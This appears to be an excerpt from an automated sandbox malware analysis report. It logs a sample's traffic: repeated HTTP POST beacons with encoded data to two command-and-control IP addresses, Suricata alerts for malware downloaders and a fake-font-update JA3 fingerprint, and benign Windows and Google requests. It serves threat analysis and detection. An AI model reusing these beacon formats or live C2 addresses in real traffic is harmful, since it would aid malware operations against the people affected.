Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Source: global traffic	HTTP traffic detected: POST /Gd84kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 154.216.20.237Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View

IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49739 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49741 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49818 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49836 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49867 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49912 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49925 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49932 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49935 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49945 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49952 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49963 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49960 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49972 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49974 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49991 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49981 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49998 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49939 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:50004 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:50009 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:50024 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:50032 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:50045 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:50060 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:50052 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:50016 -> 104.21.16.9:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49899 -> 104.21.21.16:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:50001 -> 104.26.12.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC4CC60 PR_Recv,

0_2_6CC4CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlKHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlKHLAQiFoM0BCNy9zQEIucrNAQip0c0BCInTzQEIqdXNAQjJ1s0BCPTWzQEIqNjNAQj5wNQVGOmYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WwsLk6UUdc3t+Gl&MD=vpvknbAp HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WwsLk6UUdc3t+Gl&MD=vpvknbAp HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
